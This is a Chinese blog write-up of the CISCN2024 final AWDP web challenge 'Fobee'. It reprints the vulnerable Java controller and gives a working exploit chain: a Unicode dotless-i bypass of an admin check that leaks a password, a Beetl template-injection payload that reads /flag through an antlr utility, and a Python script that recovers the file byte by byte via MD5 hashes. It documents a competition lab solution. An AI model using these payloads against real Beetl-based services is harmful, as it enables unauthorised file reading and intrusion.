CISCN2024-Final-AWDP-Fobee

前言

这次国赛算是爆种了,拿下了全国总冠军。

微信公众平台 (qq.com)

image-20240728004124171

算是让天枢后继有人了吧。

image-20240728004719598

(领奖的那位是我hhhhh,在左二挨着川大网安院院长)

主要还是第二天的渗透比较适合我吧哈哈,天时地利人和,队友也很给力,最后直接一鼓作气冲到了榜首😀

渗透的wp不打算写,反正网上也有打的比我多一道题的写了wp,我们渗透是并列第二,据说云镜会上,到时候再看看能不能冲下DC了却当时的遗憾。

第一天的awdp的web,我就修了一个solon-master,那道的fix很简单,因为lib里可以发现snakeyaml和logback,直接把关键字snake和log给ban掉就可以了,然后我过滤得更狠,直接什么@、$、< 这些常见打json格式的反序列化符号给ban了,所以意外的第三轮就拿下了fix,并列二血fix吧算,近乎是吃满了check🤭🤭🤭

唯独这个Fobee让我头疼,当时我几乎后面几个小时都在看这个,然而修出来的也只有几个队,打出来的也不过三个数。

其中一个打法是学长给的,这里做一下浅浅的复现(学长tql呜呜呜呜)

题目分析

首先是看看代码逻辑:

IndexController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.fobee;

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Random;
import org.beetl.core.BeetlKit;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.core.handle.ModelAndView;

@Controller
public class IndexController {
private static final String CHARACTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static final String password = generateRandomString(10);

public IndexController() {
}

@Mapping("/")
public ModelAndView index(String username) throws Exception {
ModelAndView model = new ModelAndView("index.htm");
if (username != null && !username.isEmpty() && username.equalsIgnoreCase("admin") && !username.toLowerCase().equals("admin")) {
model.put("msg", "=====" + password + "=====");
return model;
} else {
model.put("msg", "hello");
return model;
}
}

@Mapping("/render")
public ModelAndView render(String pass, String tp) throws Exception {
ModelAndView model = new ModelAndView("render.htm");
if (pass != null && pass.equals(password)) {
byte[] decode = Base64.getDecoder().decode(tp);
String result = BeetlKit.render(new String(decode), new HashMap());
System.out.println(result);
model.put("msg", getMD5Hash(result));
} else {
model.put("msg", "Render Page");
}

return model;
}

@Mapping("/env")
public String env() throws Exception {
return System.getProperty("java.version");
}

public static String generateRandomString(int length) {
Random random = new Random();
StringBuilder sb = new StringBuilder(length);

for(int i = 0; i < length; ++i) {
int index = random.nextInt("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".length());
sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(index));
}

return sb.toString();
}

public static String getMD5Hash(String input) throws NoSuchAlgorithmException {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(input.getBytes());
byte[] digest = md.digest();
StringBuilder sb = new StringBuilder();
byte[] var4 = digest;
int var5 = digest.length;

for(int var6 = 0; var6 < var5; ++var6) {
byte b = var4[var6];
sb.append(String.format("%02x", b & 255));
}

return sb.toString();
}
}

这几个路由基本一目了然,首先是要知道这个ModelAndView的默认传参是GET,传参都搞不明白基本可以告别了。

首先进去的根路由是需要你传参username,但是要满足:

1
username != null && !username.isEmpty() && username.equalsIgnoreCase("admin") && !username.toLowerCase().equals("admin")

本来fix我是想下面反序列化修不动,在这里过滤狠一点,但是当然也是check不过。

它又要你是admin,又要你toLowerCase绕过不是admin,那怎么绕???

其实你打开IDEA,拖过去到toLowerCase,它自己就告诉你了:

image-20240728001510929

这个locale的不一致会导致一个字符有多种识别方式,这里就告诉你了 i 在LATIN SMALL LETTER重等效于 \u0131 ,其实不需要深入理解,这里就能绕了,进去后就能那道password的回显。

我们接着看路由,下面的render路由,很容易看到attack的点在

1
2
byte[] decode = Base64.getDecoder().decode(tp);
String result = BeetlKit.render(new String(decode), new HashMap());

首先是base64解密传参的tp,然后调用到BeetlKit.render进行渲染,其实应该就是个SSTI。

但是进入这里需要password,而上面若绕进去了就拿到了password,所以基本上就完成了。

怎么打SSTI呢,我们解包一下这个BeetlKit跟进一下:

一个打模板注入的地方。

然而好像没有什么用,看不出来他要干啥,具体原理这里有篇文章可以看看:

一次意外的代码审计—-JfinalCMS审计 - 先知社区 (aliyun.com)

image-20240728002358967

image-20240728002405853

这下SSTI会打了,其实就是利用这个接口实现恶意类加载,但是beetlKit过滤得有点狠,常规的直接打runtime行不通。

所以需要找到它内部什么玩意能调用runtime打成功,学长找到了

1
org.antlr.v4.runtime.misc.Utils.readFile

image-20240728002829857

显然这里可以直接读文件,但是回显需要类似盲注的手段,一个个字符读出来(tql学长wwwww),然后下面它会自己把读到的东西进行MD5加密并打在网页上。

这个/env也可以看一下,反正都是jdk1.8所以意义不大。

所以思路就有了:

1
2
3
1、 根路由admin绕过拿password
2、 带password访问/render,tp使用base64加密的恶意注入payload读flag,由MD5格式爆出
3、 MD5一个个字符爆破

看起来还挺简单,但是断网环境确实很折磨,总有那么几个环境问题,而且审计需要靠自己,比赛也很紧张,所以做出来的人确实很牛至了。

EXP

这里我在vps上自搭环境测试:

先admin绕过,但是要url编码:

1
<url>/?username=adm%C4%B1n

image-20240728003302893

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import base64
from bs4 import BeautifulSoup
import string
import hashlib

hash_string = []

for i in range(0, 100000):
payload = base64.b64encode(('${@java.util.Arrays.toString(@org.antlr.v4.runtime.misc.Utils.readFile("/flag")).charAt(' + str(i) + ')}').encode('utf-8')).decode('utf-8')
rsp = requests.get(f'http://vps:8888/render?pass=FuTKLliOry&tp={payload}')
soup = BeautifulSoup(rsp.text, 'html.parser')
md5_element = soup.select_one('div#title-desktop')
if md5_element is not None:
md5val = md5_element.text
print(md5val)
hash_string.append(md5val)
else:
break

hash_string = '\n'.join(hash_string)

map = dict()
for c in string.printable:
map[hashlib.md5(c.encode()).hexdigest()] = c

val = hash_string.split('\n')
print(len(val))

flag = ''
for cc in val:
if cc in map:
flag += map[cc]
print(flag)

然后读文件一个个字符MD5爆破:

image-20240728003427355

在此佩服一下学长的牛至做法,比赛场上俩学长都用类似这种方法做的,都tql~~~orz


CISCN2024-Final-AWDP-Fobee
https://eddiemurphy89.github.io/2024/07/28/CISCN2024-Final-AWDP-Fobee/
作者
EddieMurphy
发布于
2024年7月28日
许可协议